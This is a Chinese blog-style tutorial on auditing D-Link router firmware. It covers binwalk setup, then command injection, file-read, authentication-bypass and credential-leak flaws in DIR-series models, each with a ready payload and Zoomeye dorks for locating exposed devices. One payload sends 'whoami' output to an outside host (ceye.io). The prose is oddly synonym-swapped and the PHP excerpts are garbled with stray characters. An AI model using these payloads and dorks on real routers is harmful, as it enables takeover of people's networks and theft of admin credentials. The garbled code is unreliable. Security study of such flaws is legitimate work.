序言
前几天去上海参加了geekpwn,看着大神们一个个破解成功各种硬件,我只能不才面喊 6666,特殊倾慕那些大神们。以是回来就决定好好研究一下路由器,争取跟上大神们的步伐。看网上公开的D-Link系列的漏洞也不少,那就从D-Link路由器漏洞开始学习。
准备事情

既然要挖路由器漏洞,首先要搞到路由器的固件。 D-Link路由器固件下载地址:
ftp://ftp2.dlink.com/PRODUCTS/
下载完固件创造是个压缩包,解压之后里面还是有一个bin文件。听说用binwalk就可以解压。kali-linux自带binwalk,但是短缺一些依赖,以是还是编译安装了一下。
$ sudo apt-get update $ sudo apt-get install build-essential autoconf git# https://github.com/devttys0/binwalk/blob/master/INSTALL.md $ git clone https://github.com/devttys0/binwalk.git $ cd binwalk# python2.7安装 $ sudo python setup.py install# python2.7手动安装依赖库 $ sudo apt-get install python-lzma$ sudo apt-get install python-crypto$ sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip $ sudo pip install pyqtgraph$ sudo apt-get install python-pip $ sudo pip install capstone# Install standard extraction utilities(必选) $ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools# Install sasquatch to extract non-standard SquashFS images(必选) $ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev $ git clone https://github.com/devttys0/sasquatch $ (cd sasquatch && ./build.sh)# Install jefferson to extract JFFS2 file systems(可选) $ sudo pip install cstruct $ git clone https://github.com/sviehb/jefferson $ (cd jefferson && sudo python setup.py install)# Install ubi_reader to extract UBIFS file systems(可选) $ sudo apt-get install liblzo2-dev python-lzo $ git clone https://github.com/jrspruitt/ubi_reader $ (cd ubi_reader && sudo python setup.py install)# Install yaffshiv to extract YAFFS file systems(可选) $ git clone https://github.com/devttys0/yaffshiv $ (cd yaffshiv && sudo python setup.py install)# Install unstuff (closed source) to extract StuffIt archive files(可选) $ wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv $ sudo cp bin/unstuff /usr/local/bin/
按照上面的命令就可以完全的安装binwalk了,这样就可以解开市情上的大部分固件包。 然后用 binwalk -Me 固件包名称
解固件,然后我们会得到以下划线开头的名称的文件夹,文件夹里squashfs-root
文件夹,便是路由器的完全固件包。
漏洞挖掘
此文章针对历史路由器的web漏洞进行剖析,路由器的web文件夹 一样平常就在suashfs-root/www
或者 suashfs-root/htdocs
文件夹里。路由器固件所利用的措辞一样平常为 asp,php,cgi,lua 等措辞。这里紧张进行php的代码审计来挖掘漏洞。
D-Link DIR-645 & DIR-815 命令实行漏洞
Zoomeye dork: DIR-815 or DIR-645
这里以 D-Link DIR-645固件为例,解开固件进入 suashfs-root/htdocs
文件夹。
这个漏洞涌如今 diagnostic.php
文件。直接看代码
HTTP/1.1 200 OKContent-Type: text/xml<?if ($_POST[\"大众act\"大众] == \"大众ping\"大众){ set(\"大众/runtime/diagnostic/ping\"大众, $_POST[\"大众dst\"大众]); $result = \"大众OK\"大众;}else if ($_POST[\"大众act\"大众] == \"大众pingreport\"大众){ $result = get(\"大众x\"大众, \公众/runtime/diagnostic/ping\"大众);}echo '<?xml version=\"大众1.0\"大众?>\n';?><diagnostic> <report><?=$result?></report></diagnostic>
剖析代码可以看到,这里没有进行权限认证,以是可以直接绕过登录。连续往下看,set(\"大众/runtime/diagnostic/ping\公众, $_POST[\公众dst\公众]);
这段代码便是造成漏洞的关键代码。参数dst
没有任何过滤直接进入到了 ping的命令实行里,导致任意命令实行漏洞。连续往下看 $result = \公众OK\公众;
无论是否实行成功,这里都会显示OK。以是这是一个盲注的命令实行。以此布局payload
url = 'localhost/diagnostic.php'data = \"大众act=ping&dst=%26 ping `whoami`.ceye.io%26\"大众
由于是盲注的命令实行,以是这里须要借助一个盲打平台(如:ceye),来验证漏洞是否存在。
D-Link DIR-300 & DIR-320 & DIR-600 & DIR-615 信息透露漏洞
Zoomeye dork:DIR-300 or DIR-600
这里以 D-Link DIR-300固件为例,解开固件进入 suashfs-root/www
文件夹。
漏洞涌如今/model/__show_info.php
文件。
<?if($REQUIRE_FILE == \公众var/etc/httpasswd\"大众 || $REQUIRE_FILE == \公众var/etc/hnapasswd\"大众){ echo \"大众<title>404 Not Found</title>\n\"大众; echo \"大众<h1>404 Not Found</h1>\n\公众;}else{ if($REQUIRE_FILE!=\公众\"大众) { require($LOCALE_PATH.\公众/\"大众.$REQUIRE_FILE); } else { echo $m_context; echo $m_context2;//jana added if($m_context_next!=\"大众\"大众) { echo $m_context_next; } echo \"大众<br><br><br>\n\"大众; if($USE_BUTTON==\公众1\公众) {echo \"大众<input type=button name='bt' value='\"大众.$m_button_dsc.\公众' onclick='click_bt();'>\n\"大众; } }}?>
这里看到已经禁止了$REQUIRE_FILE
的参数为var/etc/httpasswd
和var/etc/hnapasswd
。这么一看无法获取账号密码。但是我们可以从根路径开始配置httpasswd
的路径,就可以绕过这个过滤了。
payload:
localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd
这里设置REQUIRE_FILE=/var/etc/httpasswd
成功绕过上面的 if判断,进行任意文件读取。
D-Link DIR-300 & DIR-320 & DIR-615 权限绕过漏洞
Zoomeye dork:DIR-300 or DIR-615
这里以 D-Link DIR-300固件为例,解开固件进入 suashfs-root/www
文件夹
默认情形下,Web界面中的所有页面都须要进行身份验证,但是某些页面(如 登录页面) 必须在认证之前访问。 为了让这些页面不进行认证,他们设置了一个PHP变量NO_NEED_AUTH:
<?$MY_NAME =\"大众login_fail\"大众;$MY_MSG_FILE=$MY_NAME.\公众.php\公众;$NO_NEED_AUTH=\"大众1\"大众;$NO_SESSION_TIMEOUT=\公众1\公众;require(\公众/www/model/__html_head.php\"大众);?>
此漏洞触发的缘故原由在于 全局文件 _html_head.php
。
<?/ vi: set sw=4 ts=4: /if ($NO_NEED_AUTH!=\公众1\"大众){/ for POP up login. /// require(\公众/www/auth/__authenticate_p.php\公众);// if ($AUTH_RESULT==\"大众401\公众) {exit;}/ for WEB based login /require(\"大众/www/auth/__authenticate_s.php\"大众);if($AUTH_RESULT==\"大众401\"大众) {require(\"大众/www/login.php\"大众); exit;}if($AUTH_RESULT==\"大众full\"大众) {require(\公众/www/session_full.php\"大众); exit;}if($AUTH_RESULT==\"大众timeout\"大众) {require(\公众/www/session_timeout.php\"大众); exit;}$AUTH_GROUP=fread(\"大众/var/proc/web/session:\"大众.$sid.\公众/user/group\"大众);}require(\"大众/www/model/__lang_msg.php\公众);?>
这里我们看到 $NO_NEED_AUTH!=\"大众1\"大众
如果 $NO_NEED_AUTH
不为 1 则进入身份认证。如果我们把$NO_NEED_AUTH
值 设置为 1 那就绕过了认证进行任意操作。
payload:
localhost/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0
这里AUTH_GROUP=0
表示admin权限
D-Link DIR-645 信息透露漏洞
Zoomeye dork:DIR-645
这里以 D-Link DIR-300固件为例,解开固件进入 suashfs-root/htdocs
文件夹
D-Link DIR-645 getcfg.php
文件由于过滤不严格导致信息透露漏洞。
$SERVICE_COUNT = cut_count($_POST[\"大众SERVICES\"大众], \"大众,\"大众);TRACE_debug(\"大众GETCFG: got \"大众.$SERVICE_COUNT.\"大众 service(s): \"大众.$_POST[\公众SERVICES\"大众]);$SERVICE_INDEX = 0;while ($SERVICE_INDEX < $SERVICE_COUNT){ $GETCFG_SVC = cut($_POST[\公众SERVICES\公众], $SERVICE_INDEX, \公众,\公众); TRACE_debug(\"大众GETCFG: serivce[\"大众.$SERVICE_INDEX.\"大众] = \"大众.$GETCFG_SVC); if ($GETCFG_SVC!=\公众\"大众) { $file = \"大众/htdocs/webinc/getcfg/\"大众.$GETCFG_SVC.\"大众.xml.php\"大众; / GETCFG_SVC will be passed to the child process. / if (isfile($file)==\"大众1\"大众) dophp(\"大众load\公众, $file); } $SERVICE_INDEX++;}
这里我们可以看到 $GETCFG_SVC
没有任何过滤直接获取了 POST 通报过来的SERVICES
的值。如果$GETCFG_SVC
不为空,则进行文件读取。这里我们就可以读取存储此设备信息的DEVICE.ACCOUNT.xml.php
文件。
payload:
http://localhost/getcfg.phppost:SERVICES=DEVICE.ACCOUNT
总结
可以创造此篇文章所提及的漏洞都是web领域的常见漏洞,如权限绕过,信息透露,命令实行等漏洞。由于路由器的安全没有得到足够的重视,此文涉及到的漏洞都是由于对参数过滤不严格所导致的。 路由器的漏洞影响还是很广泛的,在此提醒用户,及时更新路由器固件,以此避免各种入侵事宜,以及个人信息的透露。